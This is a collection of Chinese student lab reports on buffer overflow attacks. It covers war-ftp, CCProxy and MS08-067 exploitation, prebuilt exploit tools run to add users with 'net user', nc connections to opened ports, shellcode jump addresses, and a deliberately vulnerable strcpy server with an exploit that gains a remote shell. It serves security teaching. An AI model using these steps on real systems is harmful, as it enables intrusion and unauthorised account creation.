网络安全缓冲区溢出技术实验报告

合集下载

网络攻击与防范实验报告-缓冲区溢出

网络攻击与防范实验报告-缓冲区溢出

网络攻击与防范实验报告姓名:____王小北___ 学号:___ 201411111111111111 _ 所在班级:实验名称:缓冲区溢出实验日期:2014年11月7日指导老师:实验评分:验收评语:实验目的:1.掌握缓冲区溢出的原理2.掌握常用的缓冲区溢出方法3.理解缓冲区溢出的危害性4.掌握防范和避免缓冲区溢出攻击的方法实验工具:溢出对象:war-ftp 1.65 ( 自己分析)调试工具:Debugging Tools for Windows 中(网上有下载)实验环境:虚拟机vmware workstation 10 Windows XP sp1高级语言编程:Socket编程VS2010实验步骤:原理:war-ftp 1.65版本的一个漏洞,即向服务器发送超过480字节的用户名可以触发漏洞(即使用命令USER longString\r\n),溢出之后ESP内容包含了longString中的部分内容。

过程:攻击者向war-ftp发送多余480字节的用户名,触发war-ftpd的漏洞,产生缓冲区溢出,此时war-ftpd将出现错误。

接下来通过PatterntTool工具构造的一串不重复字符串(1000个不同字符串,存入test.txt中),通过其时eip的内容,利用patternoffset.pl工具来确定RET的位置。

在网上寻找一段具有攻击效果的Shellcode,作为所发送的war-ftpd用户名。

其最主要是通过上边所确定的RET的位置,将“JMP ESP”指令的地址(0x7ffa4512)传递到RET 位置,最终目的是将指令指针转移到esp的位置。

同时我们可以通过确定esp的位置,从而在构造字符串时直接将shellcode代码加在在用户名上,使其能直接被放入esp所指的位置,即达到将其放入esp指向的缓冲区的目的。

通过发送构造的用户名,导致war-ftpd发生缓冲区溢出。

Shellcode的功能是建立一个新用户hack,可以用过net user命令来查看用户,最后发现攻击成功。

缓冲区溢出攻击与防范实验报告

缓冲区溢出攻击与防范实验报告

缓冲区溢出攻击与防范实验报告——计算机网络(2)班——V200748045黄香娥1·缓冲区溢出的概念:缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量溢出的数据覆盖在合法数据上,理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符,但是绝大多数程序都会假设数据长度总是与所分配的储存空间想匹配,这就为缓冲区溢出埋下隐患.操作系统所使用的缓冲区又被称为"堆栈". 在各个操作进程之间,指令会被临时储存在"堆栈"当中,"堆栈"也会出现缓冲区溢出。

2·缓冲区溢出的危害:在当前网络与分布式系统安全中,被广泛利用的50%以上都是缓冲区溢出,其中最著名的例子是1988年利用fingerd漏洞的蠕虫。

而缓冲区溢出中,最为危险的是堆栈溢出,因为入侵者可以利用堆栈溢出,在函数返回时改变返回程序的地址,让其跳转到任意地址,带来的危害一种是程序崩溃导致拒绝服务,另外一种就是跳转并且执行一段恶意代码,比如得到shell,然后为所欲为。

3·缓冲区溢出原理:由一个小程序来看://test.c#include "stdio.h"#include "stdlib.h"#include "string.h"void overflow(void){char buf[10];strcpy(buf,"0123456789123456789");}//end overflowint main(void){overflow();return 0;}//end main按F11进入"Step into"调试模式,如下:按F11跟踪进入overflow,让程序停在6,现在再看一下几个主要参数:esp=0x0012ff30,eip发生了变化,其它未变。

缓冲区溢出

缓冲区溢出

"\xb0\x0b" /* Line 10: movb $0x0b,%al */ "\xcd\x80" /* Line 11: int $0x80 */;int main(int argc, char **argv){char buf[sizeof(code)];strcpy(buf, code);((void(*)( ))buf)( ); } 这段 shellcode 的一些地方值得注意。首先,第三行将“//sh”而不是“/sh”推 入栈,这是因为我们在这里需要一个 32 位的数字而“/sh”只有 24 位。幸运的 是,“//”和 “/”等价,所以我们使用“//”对程序也没什么影响,而且起到补 位作用。第二,在调用 execve()之前,我们需要分别存储 name[0](串地址), name(列地址)和 NULL 至%ebx, %ecx,和%edx 寄存器。第 5 将 name[0]存 储%ebx;第 8 行将 name 存储到%ecx; 第 9 行将%edx 设为 0;还有其它方法可 以设%edx 为 0(如 xorl %edx, %edx)。这里用的(cdql)指令只是较为简短。第 三,当我们将%al 设为 11 时调用了 system callexecve(),并执行了“int $0x80”。
2.4 任务 1:攻击漏洞
我们提供给你一段部分完成的攻击代码“exploit.c”,这段代码的目的是为 “badfile”创建内容。代码中,shell code 已经给出,你需要完成其余部分。 /* exploit.c */ /* A program that creates a file containing code for launching shell*/ #include <stdlib.h> #include <stdio.h> #include <string.h>

0day缓冲区溢出实验报告

0day缓冲区溢出实验报告

网络安全缓冲区溢出实践班级:信安一班学号:*************姓名:***1 栈溢出1.1 修改邻接值首先写一个密码验证程序,正确密码为1234567在ollydbg中进行调试在验证密码时输入8888888提示错误。

堆栈情况:可以看出,输入的password储存在0012FB7C处authenticated变量存储在0012FF7C处。

由于8888888>1234567,所以值为1。

如果输入溢出,情况是这样的:输入8888888wsk,发现sk溢出到了authenticated变量处而我们的目标是使authenticated被覆盖为0,因此,输入8个字符,字符串最后的’\0\即null会覆盖authenticated使它成为0。

不过并不是所有的8个字符都可以。

如果输入的字符串小于1234567,那么authenticated是-1的补码即FFFFFFFF,这时只修改最后的一位还是不能使authenticated成为00000000,如这时authenticated值为===================================================================== 1.2 修改函数返回地址改为从文件中读取密码超出buffer范围的字符会依次淹没authenticated、EBP和返回地址。

观察反汇编:此处00401005即为验证函数,取出EAX中的返回值与0比较,如果相等则跳入00401125。

所以将password文件修改如下:可以覆盖返回地址,使程序跳入验证正确的分支2 代码植入通过栈溢出让程序执行输入数据中植入的代码在输入数据里包含自己想要执行的代码,然后通过返回地址让程序跳转到系统栈里执行。

向password.txt文件里植入二进制的机器码。

调用windows的API函数将buffer长度扩展为44,先将password文件修改为11个4321来进行实验,验证通过后堆栈情况如图:buffer起始还是0012FB7C,authenticated也还是0012FF7C,后面依次为EBP和返回地址。

实验2:缓冲区溢出

实验2:缓冲区溢出

3.4.2 寻找jmp指令地址
前面说到,我们选择通过jmp esp来实现程 序跳转,也就是说,要在RET的位置放置 jmp esp指令的地址,那么,到哪里找jmp esp指令呢? 最好是能在系统中找到现成的,而不需要 我们重新再构造 事实上,在Windows系统的许多DLL中都 能找到jmp esp这样一条指令,一个通用的 地址是0x7ffa4512
4. 实验说明——3CTftpSvc
软件名称:3CTftpSvc 影响版本:Current version:2.0.1 漏洞描述:畸形的传输模式可以导致缓冲 区溢出,覆盖EIP,可能造成拒绝服务攻击和 远程代码执行。 漏洞调试:当传输模式为mode = "netascii" + "A" * 469时覆盖EIP
因此,在网上下载的CCProxy 6.2有可能 是已修补了该漏洞的程序
4. 实验说明——War-ftp
war-ftp漏洞提示:向服务器发送超过480 字节的用户名可以触发漏洞(即使用命令 USER longString\r\n),溢出之后,ESP中 的内容包含了longString中的部分内容
3.1 介绍CCProxy
CCProxy因其设 置简单和使用方便 等特点,成为国内 最受欢迎的代理服 务器软件。 CCProxy不但支 持常见的HTTP和 SOCKS代理,而且还 支持FTP和Telnet这 类不常用的协议及 其它协议。
3.2 漏洞说明
CCProxy在代理Telnet协议时,可以接受 Ping命令
Socket编程 连接目标主机(connect) 构造溢出字符串(即构造后接shellcode的 ping命令:ping shellcode\r\n) 向目标主机发送溢出字符串(send) 关闭连接

(完整word版)缓冲区溢出攻击实验报告

(完整word版)缓冲区溢出攻击实验报告

缓冲区溢出攻击实验报告班级:10网工三班学生姓名:谢昊天学号:1215134046实验目的和要求:1、掌握缓冲区溢出的原理;2、了解缓冲区溢出常见的攻击方法和攻击工具;实验内容与分析设计:1、利用RPC漏洞建立超级用户利用工具scanms.exe文件检测RPC漏洞,利用工具软件attack.exe对172.18.25.109进行攻击。

攻击的结果将在对方计算机上建立一个具有管理员权限的用户,并终止了对方的RPC服务。

2、利用IIS溢出进行攻击利用软件Snake IIS溢出工具可以让对方的IIS溢出,还可以捆绑执行的命令和在对方计算机上开辟端口。

3、利用WebDav远程溢出使用工具软件nc.exe和webdavx3.exe远程溢出。

实验步骤与调试过程:1.RPC漏洞出。

首先调用RPC(Remote Procedure Call)。

当系统启动的时候,自动加载RPC服务。

可以在服务列表中看到系统的RPC服务。

利用RPC漏洞建立超级用户。

首先,把scanms.exe文件拷贝到C盘跟目录下,检查地址段172.18.25.109到172.18.25.11。

点击开始>运行>在运行中输入cmd>确定。

进入DOs模式、在C盘根目录下输入scanms.exe 172.18.25.109-172.18.25.110,回车。

检查漏洞。

2.检查缓冲区溢出漏洞。

利用工具软件attack.exe对172.18.25.109进行攻击。

在进入DOC 模式、在C盘根目录下输入acctack.exe 172.18.25.109,回车。

3,利用软件Snake IIS溢出工具可以让对方的IIS溢出。

进入IIS溢出工具软件的主界面.IP:172.18.25.109 PORT:80 监听端口为813单击IDQ溢出。

出现攻击成功地提示对话框。

4.利用工具软件nc.exe连接到该端口。

进入DOs模式,在C盘根目录下输入nc.exe -vv 172.18.25.109 813 回车。

网络安全实验报告 - 缓冲区溢出攻击

网络安全实验报告 - 缓冲区溢出攻击

一实验名称利用跳转指令实现缓冲区溢出定位参数地址实现缓冲区溢出二实验目的1.熟练掌握缓冲区溢出原理2.利用jmp esp指令实现缓冲区溢出3.熟练掌握缓冲区溢出原理4.利用定位参数地址实现缓冲区溢出三实验步骤利用跳转指令实现缓冲区溢出1.编写前导码程序中提供了一个超长前导码,对程序进行调试来确定实际需要的前导码长度在图中可以看出,0x49484746四字节覆盖了ret返回地址2.查找jmp esp指令地址运行FindJmpesp工具,选取一个地址追加到shellcode尾(追加填加地址时注意数组高字节对应地址高位),所选jmp esp指令地址是0x77e424da跟踪调试程序,确定在memcpy执行返回时jmp esp指令是否被执行从图看出,在jmp esp指令执行完毕后,指令指针紧接着执行了3个空指令,而空指令是追加在shellcode尾部的3.生成实现弹出对话框的指令码MessageBoxA函数的绝对内存地址,该地址为0x77E10000+0x0003D8DE=0x77E4D8DE函数ExitProcess的绝对内存地址0x7C800000+0x00013039=0x7C813039利用反汇编功能获取代码字节,将代码字节以十六进制数据形式继续追加到shellcode尾。

重新编译执行。

定位参数实现缓冲区溢出1.进入工程2.生成shellcode功能体(1)首先设置OverFlowClient项目为启动项。

(2)使用Depends工具打开FindShellBase.exe文件定位上述内存地址kernel32.dll 0x7C800000LoadlibraryA 0x7C800000+0x00001E60=7C801E60SHELL32.DLL 0x7CA10000shellExecuteA 0x7CA10000+0x0008F6D4=0x7CA9F6D4(3)编译并生成OverFlowClient.exe,执行OverFlowClient.exe,确定系统是否新建了jlcss用户,并隶属Administrators组。

信息安全实验-缓冲区溢出-蒋智超

信息安全实验-缓冲区溢出-蒋智超

缓冲区溢出一、实验目的掌握缓冲区溢出攻击的现象掌握使用缓冲区溢出工具的方法二、实验步骤一.利用ms06035漏洞进行攻击1.进入“ms06035漏洞利用工具”目录主机A单击工具栏中“ms06035工具”按钮,进入“ms06035漏洞利用工具”工作目录。

2.查看当前目录内容主机A用dir命令查看当前目录中的内容,如下图所示:图4-1-1 工具目录中的内容上图中标注的“ms06035.exe”即为ms06035漏洞利用工具。

3.使用“ms06035工具”进行攻击主机A执行“ms06035.exe 主机B的ip 445”命令,发起对主机B的攻击。

4.主机B观察被攻击现象主机B被攻击后出现蓝屏死机的现象(实验结束,主机B用虚拟机“快照X”恢复实验环境)。

二.利用ms08025漏洞进行攻击以下步骤两主机互相攻击对方,操作相同,故以主机A为例说明实验步骤。

「注」主机B单击“ms08025工具”按钮,进入实验目录。

将ms08025.exe复制到D盘的根目录下,以便实验下一步进行。

1.telnet登录系统(1)主机A在命令行下使用telnet登录同组主机,当出现“您将要把您的密码信息送到Internet区内的一台远程计算机上,这可能不安全,您还要发送吗(y/n)”当出现此提示时,选择n,输入登录账号“student”,密码“123456”。

登录成功如下图所示。

图4-1-2 telnet登录(2)主机A依次输入“d:”|“dir”查看同组主机D盘根目录,“ms08025.exe”即为实验工具。

图4-1-3 实验工具2.使用系统命令添加用户主机A使用“net user student1 /add”命令来试添加一个用户“student1”,执行该命令,出现“发生系统错误5,拒绝访问”的提示,如下图所示:图4-1-4 使用系统命令添加用户请解释出现上述现象的原因:。

3.查看ms08025工具使用方法主机A在telnet命令行中输入“ms08025.exe”,查看工具的使用方法,如下图所示:图4-1-5 ms08025工具使用方法4.使用ms08025工具添加用户主机A执行“ms08025.exe "net user student1 /add"”命令,提示命令成功完成,证明用户student1成功添加,如下图所示:图4-1-6 使用ms08025工具添加用户5.查看用户信息主机A用命令“net user student1”查看用户student1的信息,发现用户student1创建成功,隶属于Users组。

缓冲区溢出攻击与防范实验报告

缓冲区溢出攻击与防范实验报告

缓冲区溢出攻击与防范实验报告——计算机网络(2)班——V200748045黄香娥1·缓冲区溢出的概念:缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量溢出的数据覆盖在合法数据上,理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符,但是绝大多数程序都会假设数据长度总是与所分配的储存空间想匹配,这就为缓冲区溢出埋下隐患.操作系统所使用的缓冲区又被称为"堆栈". 在各个操作进程之间,指令会被临时储存在"堆栈"当中,"堆栈"也会出现缓冲区溢出。

2·缓冲区溢出的危害:在当前网络与分布式系统安全中,被广泛利用的50%以上都是缓冲区溢出,其中最著名的例子是1988年利用fingerd漏洞的蠕虫。

而缓冲区溢出中,最为危险的是堆栈溢出,因为入侵者可以利用堆栈溢出,在函数返回时改变返回程序的地址,让其跳转到任意地址,带来的危害一种是程序崩溃导致拒绝服务,另外一种就是跳转并且执行一段恶意代码,比如得到shell,然后为所欲为。

3·缓冲区溢出原理:由一个小程序来看://test.c#include "stdio.h"#include "stdlib.h"#include "string.h"void overflow(void){char buf[10];strcpy(buf,"0123456789123456789");}//end overflowint main(void){overflow();return 0;}//end main按F11进入"Step into"调试模式,如下:按F11跟踪进入overflow,让程序停在6,现在再看一下几个主要参数:esp=0x0012ff30,eip发生了变化,其它未变。

缓冲区溢出攻击与防范实验报告

缓冲区溢出攻击与防范实验报告

实验六报告图1 win10攻击机图2 Windows 2000 靶机2、扫描靶机在正式开始渗透之前,应该对靶机进行扫描探测工作,搞清楚渗透目标的系统类型、开放的端口服务、可能存在的安全漏洞等。

在win10攻击机上运行metasploit console,即可进入Metasploit环境。

现在可以利用MSF框架中集成的Nmap扫描器对渗透测试目标进行扫描,如图3所示,获取了靶机的开放服务和操作系统类型等信息。

图3 windows 2000扫描结果利用扫描器的脚步插件,还有可能直接探测出目标系统的安全漏洞,例如如图4所示,Nmap利用smb-check-vulns插件扫描探测出了Windows 2000靶机存在MS08_067漏洞,命令执行如下:nmap -script=smb-check-vulns.nse 192.168.56.101。

namap扫描的结果里报告发现MS08-067:DISABLED。

这是在暗示我们或许能够对这台主机进行渗透攻击,然后我们在 Metasloit里面找到此漏洞的攻击模块,并尝试攻击目标机器。

MS08-067是一个对操作系统版本依赖非常高的漏洞,所以在这里,我们只自动payload指定一下目标就可以确保触发正确的溢出代码。

图4漏洞扫描结果3利用MS08_067漏洞渗透入侵MS08-067漏洞的全称为“Windows Server服务RPC请求缓冲区溢出漏洞”,如果用户在受影响的系统上收到特制的 RPC 请求,则该漏洞可能允许远程执行代码。

在 Microsoft Windows 2000Windows XP 和 Windows Server 2003 系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码,此漏洞可用于进行蠕虫攻击,目前已经有利用该漏洞的蠕虫病毒。

防火墙最佳做法和标准的默认防火墙配置,有助于保护网络资源免受从企业外部发起的攻击,默认情况下能建立空连接。

缓冲溢出攻击实验报告

缓冲溢出攻击实验报告

一、实验目的及要求1. 了解缓冲区溢出攻击的原理和类型。

2. 掌握缓冲区溢出攻击的实验方法和步骤。

3. 理解缓冲区溢出攻击的危害性。

4. 学习防范和避免缓冲区溢出攻击的方法。

二、实验环境1. 操作系统:Windows 102. 编程语言:C/C++3. 漏洞利用工具:Metasploit4. 实验环境搭建:使用虚拟机软件(如VMware)搭建实验环境,靶机为Windows 7 SP1,攻击机为Kali Linux。

三、实验内容1. 漏洞分析:分析实验环境中存在的缓冲区溢出漏洞。

2. 攻击实现:利用Metasploit工具对靶机进行攻击,实现远程代码执行。

3. 防御措施:学习防范和避免缓冲区溢出攻击的方法。

四、实验步骤1. 漏洞分析- 使用Ghidra工具对实验环境中的漏洞程序进行反汇编,分析程序中的缓冲区溢出漏洞。

- 发现漏洞程序存在缓冲区溢出漏洞,攻击者可以通过输入超长字符串来覆盖返回地址,从而控制程序的执行流程。

2. 攻击实现- 使用Metasploit工具中的`exploit/multi/handler`模块,设置攻击目标为靶机的IP地址和端口。

- 使用`set payload`命令设置攻击载荷,选择`windows/x64/meterpreter/reverse_tcp`,该载荷可以在攻击成功后与攻击机建立反向连接。

- 使用`set LHOST`命令设置攻击机的IP地址,使用`set LPORT`命令设置端口号。

- 使用`set target`命令设置攻击目标,选择漏洞程序的模块和参数。

- 使用`exploit`命令启动攻击,等待攻击成功。

3. 防御措施- 代码审计:对程序进行代码审计,及时发现并修复缓冲区溢出漏洞。

- 输入验证:对用户输入进行严格的验证,限制输入长度,防止输入超长字符串。

- 边界检查:在代码中添加边界检查,防止缓冲区溢出。

- 安全编程:遵循安全编程规范,使用安全的编程语言和库,避免使用存在漏洞的函数。

缓冲区溢出实验报告

缓冲区溢出实验报告

缓冲区溢出报告院系:计算机与通信工程学院班级:信息安全10-02班1.实验目的掌握缓冲区溢出的原理掌握常用的缓冲区溢出方法理解缓冲区溢出的危害性掌握防范和避免缓冲区溢出攻击的方法2.实验工具溢出对象:CCProxy 7.2(1)(2)调试工具:使用Vmware虚拟机,安装CCPROXY7.2进行实验调试。

3.实验步骤了解CCProxy 7.2代理服务器为大家解决了很多问题,比如阻挡黑客攻击和局域网共享上网等。

•国内非常受欢迎的一款代理服务器软件•设置简单,使用方便•不仅支持常见的HTTP和SOCKS代理,而且支持FTP/Telnet等这类不常用的协议及其它协议关于CCProxy6.2缓冲区溢出漏洞说明CCProxy在代理Telnet协议时,可以接受Ping命令Ping命令格式:ping hostname\r\n当hostname的长度大于或者等于1010字节时,CCProxy 6.2会发生缓冲区溢出,导致程序崩溃CCProxy 6.2缓冲区溢出漏洞演示在目标主机运行CCProxy,使用默认设置运行CCProxy的机器IP是192.168.6.132使用telnet命令连接CCProxy:telnet 192.168. 6.132 23返回信息:(如图)输入ping命令,后接畸形数据:在ping命令后接10个字符A(ping AAAAAAAAAA),观察返回信息将字符A的数量变为100个、1000个、2000个,观察返回信息(注:由于本人安装的是7.2版本,其漏洞已修复,故智能识别252个字符,其后被截断,所以当出现的畸形字符长度超过252时,就不再被识别,所以会有“host not found”)原理:如果终端提示“Host not found”,说明CCProxy正确地处理了这个畸形数据,仍工作正常如果终端提示“失去了跟主机的连接”,表明CCProxy已经崩溃CCProxy 6.2缓冲区溢出漏洞利用如何利用这个漏洞,来实现攻击目的,做一些特别的事情。

80【网络安全】【缓冲区溢出攻击检测】

80【网络安全】【缓冲区溢出攻击检测】

缓冲区溢出攻击检测【实验名称】缓冲区溢出攻击检测【实验目的】使用RG-IDS对缓冲区溢出攻击进行检测【背景描述】某网络中很多主机使用Windows操作系统,但是发现网络中经常有针对Windows系统的攻击发生。

于是网络工程师部署了IDS系统以对各种攻击进行检测,以及对恶意扫描和探测行为进行审计。

【需求分析】为了检测针对Windows系统的攻击,可以部署IDS系统,并根据IDS产生的告警来定位攻击源。

【实验拓扑】【实验设备】PC 3台RG-IDS 1台直连线 4条交换机 1台(支持多对一的端口镜像)攻击软件 metasploit V3.1攻击机 Microsoft Windows操作系统被攻击机 Windows 2000 Server(未安装Service Packet)139【预备知识】交换机端口镜像配置RG-IDS配置metasploit工具使用【实验原理】Win32.Sasser.A是一个通过Windows 2000、Windows XP和Windows Server 2003的系统漏洞(MS04-011)传播的蠕虫病毒,病毒文件长度为15872字节。

远程攻击者可以利用这个漏洞以SYSTEM权限在系统上执行任意指令,利用这个漏洞最有名的攻击就是“震荡波”病毒。

微软的Server服务中的漏洞可能允许远程执行代码,这是一个比较严重的漏洞,从Windows 2000 SP4到Windows XP SP2再到Windows 2003 SP1,还有64位操作系统,无一幸免。

这个漏洞的最著名的利用就是“魔波”(MS06-040)蠕虫病毒。

RG-IDS 通过检测该溢出攻击发生时的网络行为特征(基于客户系统已存在的漏洞)。

【实验步骤】第一步:策略编辑点击主界面上的“策略”按钮,切换到策略编辑器界面,从现有的策略模板中生成一个新的策略。

新的策略中选择“msrpc:ms05039:upnp_ms05039”以及“msrpc:ms06040:srvsvc_ms06040_overflow”签名,并将策略下发到引擎。

缓冲区溢出攻击与防范实验

缓冲区溢出攻击与防范实验

实验十二缓冲区溢出攻击与防范实验1.实验目的通过实验掌握缓冲区溢出的原理;通过使用缓冲区溢出攻击软件模拟入侵远程主机;理解缓冲区溢出危险性;理解防范和避免缓冲区溢出攻击的措施。

2.预备知识2.1缓冲区溢出攻击简介缓冲区溢出攻击之所以成为一种常见的攻击手段,其原因在于缓冲区溢出漏洞太普通了,并且易于实现。

而且,缓冲区溢出所以成为远程攻击的主要手段,其原因在于缓冲区溢出漏洞给予了攻击者所想要的一切:植入并且执行攻击代码。

被植入的攻击代码以一定的权限运行有缓冲区溢出漏洞的程序,从而得到被攻击主机的控制权。

下面简单介绍缓冲区溢出的基本原理和预防办法。

(1)缓冲区概念缓冲区是内存中存放数据的地方。

在程序试图将数据放到机器内存中的某一个位置的时候,因为没有足够的空间就会发生缓冲区溢出。

而人为的溢出则是有一定企图的,攻击者写一个超过缓冲区长度的字符串,植入到缓冲区,然后再向一个有限空间的缓冲区中植入超长的字符串,这时可能会出现两个结果:一是过长的字符串覆盖了相邻的存储单元,引起程序运行失败,严重的可导致系统崩溃;另一个结果就是利用这种漏洞可以执行任意指令,甚至可以取得系统root特级权限。

缓冲区是程序运行的时候机器内存中的一个连续块,它保存了给定类型的数据,随着动态分配变量会出现问题。

大多时为了不占用太多的内存,一个有动态分配变量的程序在程序运行时才决定给它们分配多少内存。

如果程序在动态分配缓冲区放入超长的数据,它就会溢出了。

一个缓冲区溢出程序使用这个溢出的数据将汇编语言代码放到机器的内存里,通常是产生root权限的地方。

仅仅单个的缓冲区溢出并不是问题的根本所在。

但如果溢出送到能够以root权限运行命令的区域,一旦运行这些命令,那可就等于把机器拱手相让了。

造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。

缓冲区是一块用于存放数据的临时内存空间,它的长度事先已经被程序或操作系统定义好。

缓冲区类似于一个杯子,写入的数据类似于倒入的水。

网络安全实验报告-软件破解与缓冲区溢出

网络安全实验报告-软件破解与缓冲区溢出

网络安全实验报告软件破解与缓冲区溢出网络10-2班 XXX 08103635一、实验要求实验环境:Windows XP SP3,Visual C++ 6.0,release版本exe实验目的:通过修改PE格式的exe文件突破密码验证工具软件:IDA Pro:最强大的(静态)反汇编软件OllyDbg:(动态)反汇编软件Load PE:查看PE文件信息remark:其他(动态)反汇编软件——SoftICE(工作在ring0级)WinDbg二、实验介绍缓冲区溢出攻击缓冲区溢出攻击是利用缓冲区溢出漏洞所进行的攻击行动。

缓冲区溢出是一种非常普遍、非常危险的漏洞,在各种操作系统、应用软件中广泛存在。

利用缓冲区溢出攻击,可以导致程序运行失败、系统关机、重新启动等后果。

缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量,溢出的数据覆盖在合法数据上。

理想的情况是:程序会检查数据长度,而且并不允许输入超过缓冲区长度的字符。

但是绝大多数程序都会假设数据长度总是与所分配的储存空间相匹配,这就为缓冲区溢出埋下隐患。

操作系统所使用的缓冲区,又被称为“堆栈”,在各个操作进程之间,指令会被临时储存在“堆栈”当中,“堆栈”也会出现缓冲区溢出。

通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它指令,以达到攻击的目的。

造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。

例如下面程序:void function(char *str) {char buffer[16]; strcpy(buffer,str);}上面的strcpy()将直接把str中的内容copy到buffer中。

这样只要str的长度大于16,就会造成buffer的溢出,使程序运行出错。

存在像strcpy这样的问题的标准函数还有strcat ()、sprintf()、vsprintf()、gets()、scanf()等。

溢出的实验报告

溢出的实验报告

一、实验目的1. 了解溢出的概念和产生原因;2. 掌握溢出攻击的原理和常见类型;3. 熟悉溢出漏洞的检测和防护方法。

二、实验环境1. 操作系统:Windows 10;2. 编程语言:C/C++;3. 编译器:MinGW;4. 虚拟机:VMware Workstation。

三、实验原理溢出(Buffer Overflow)是指当向缓冲区写入数据时,超出了缓冲区的实际容量,导致数据覆盖到相邻内存区域的现象。

当溢出的数据覆盖到关键数据结构或返回地址时,攻击者可以利用这一漏洞执行任意代码,从而实现攻击。

四、实验步骤1. 编写溢出程序```c#include <stdio.h>#include <stdlib.h>void vulnerable_function(char str) {char buffer[10];strcpy(buffer, str);printf("You said: %s\n", buffer);}int main() {char input[100];printf("Enter your name: ");scanf("%99s", input);vulnerable_function(input);return 0;}```2. 生成可执行文件在MinGW环境下,使用gcc编译器编译程序:```bashgcc -o overflow overflow.c```3. 运行溢出程序运行编译好的程序,输入超过缓冲区大小的字符串:```bash./overflow```4. 分析溢出过程当输入超过缓冲区大小的字符串时,溢出的数据会覆盖到相邻内存区域,包括返回地址。

攻击者可以通过构造特定的字符串,修改返回地址,使其指向恶意代码的地址,从而实现攻击。

5. 编写漏洞检测代码```c#include <stdio.h>#include <stdlib.h>void vulnerable_function(char str) {char buffer[10];strcpy(buffer, str);printf("You said: %s\n", buffer);}int main() {char input[100];printf("Enter your name: ");scanf("%99s", input);vulnerable_function(input);printf("Return address: %p\n", &input);return 0;}```运行漏洞检测代码,观察返回地址是否被覆盖:```bash./overflow```6. 防护溢出漏洞1) 使用安全的字符串处理函数,如strncpy、strncat等,限制写入数据的长度;2) 使用栈保护技术,如堆栈标记、堆栈守卫等,防止溢出数据覆盖返回地址;3) 使用地址空间布局随机化(ASLR)技术,增加攻击难度;4) 使用编译器提供的栈保护选项,如gcc的-fstack-protector选项。

网络安全实验报告 (4)

网络安全实验报告 (4)
图7 在目标主机上添加用户(2)
四、实验结果与数据处理
ms05039攻击一直无法完成,重新启动虚拟机后就可以了。
五、分析与讨论
要提高网络安全意识。
六、教师评语
签名:
日期:
成绩三、实验内容与Fra bibliotek骤实验任务:利用ms05-039溢出漏洞攻击
MS05-039漏洞是Microsoft Windows即插即用功能远程缓冲区溢出漏洞。Microsoft Windows即插即用(PnP)功能允许操作系统在安装新硬件时能够检测到这些设备。Microsoft Windows即插即用功能中存在缓冲区溢出漏洞,造成该漏洞的原因是Plug and Play服务中有未经检查的缓冲区。成功利用这个漏洞的攻击者可以完全控制受影响的系统。这是一个严重的安全漏洞,成功的攻击者可以完全控制被攻击的计算机。这个漏洞既可以用来远程溢出(只适用于目标系统是2000和xp sp1),也可以用来本地提升权限(2000以上版本都可以)。而且溢出成功后会得到一个SYSTEM权限的shell。
《计算机网络安全》实验报告
实验序号:4 实验项目名称:缓冲区溢出攻击与防范实验
学号
姓名
专业、班
实验地点
指导教师
实验时间
一、实验目的及要求
通过实验掌握缓冲区溢出的原理;通过使用缓冲区溢出攻击软件模拟入侵远程主机;理解缓冲区溢出危险性;理解防范和避免缓冲区溢出攻击的措施。
二、实验设备(环境)及要求
Windows 2000 server,虚拟机
本实验是在主机上利用ms05-039溢出工具对虚拟机上的ms05039漏洞进行溢出攻击,入侵成功后获得系统的控制权。
1)入侵准备工作
图2 运行nc 进行监听
  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

网络实验报告一、实验目的及要求1、目的了解和掌握Win32平台缓冲区溢出原理;学会使用Win32平台Shellcode技术。

2、内容及要求以windows 2000 server虚拟机为测试对象,修改server.cpp和exploit.c,利用shellcode port bind给出的shellcode,远程获得CMD,并启动目标机器的ftp服务。

二、仪器用具计算机(分别装有windows server 2000和windows 7操作系统),本实验使用的是虚拟机Wmware8.0在同一台电脑上面安装两个操作系统。

三、实验方法与步骤在实验开始前,首先编写可能产生缓冲区溢出的程序(server.cpp)和测试程序(exploit.c)。

在server.cpp中能够产生缓冲区溢出的程序片段如下:void overflow(char * s,int size){char s1[50];printf("receive %d bytes",size);s[size]=0;strcpy(s1,s);}这两个程序的完整代码见附件。

由于本实验是在虚拟机环境下测试的,所以在开始实验前,分别记下两个系统的IP地址:运行server程序的系统IP地址为:192.168.209.131运行exploit程序的系统IP地址为:192.168.209.1实验的过程如下:1.在windows2000系统下分别编译server.cpp和exploit.c程序,详细过程如下:C:\test>cl server.cppC:\test>cl exploit.c编译完成后分别产生exploit.exe、exploit.obj、server.exe、server.obj截图如下图1所示:图 12.在windows2000系统中运行服务程序:server.cppC:\test>server.exe截图如下图2所示:图 23.将编译好的exploit程序拷贝到windows 7系统中来测试4.在windows 7系统中运行exploit.exe程序,如下D:\client\exploit.exe 192.168.209.131 8888截图如下图3所示:图3这样就可以获得目标主机的CMD了,接下来的任务是开启目标主机的FTP服务。

5.紧接着上面的步骤,在获得CMD的情况下,运行如下的命令来开启目标机器的FTP服务C:\test>net start “ftp publishing service”截图如下图4所示:图4四、实验结果及讨论从上面的截图可以看出,实验通过exploit.exe程序顺利的获取了目标机器的CMD并启动FTP服务。

由于不同的系统下JMP跳转指令的地址不相同,因此在windows xp与windows 2000程序的差别在于#define JUMPESP的定义。

windows2000下可以采用如下的定义:#define JUMPESP "\x12\x45\xfa\x7f"windows xp sp2可以采用下面的定义:#define JUMPESP "\xed\x1e\x96\x7c"由于程序是使用VC6编译器来编译的,它保持4字节栈对齐,因此服务程序server.cpp并不需要任何改动。

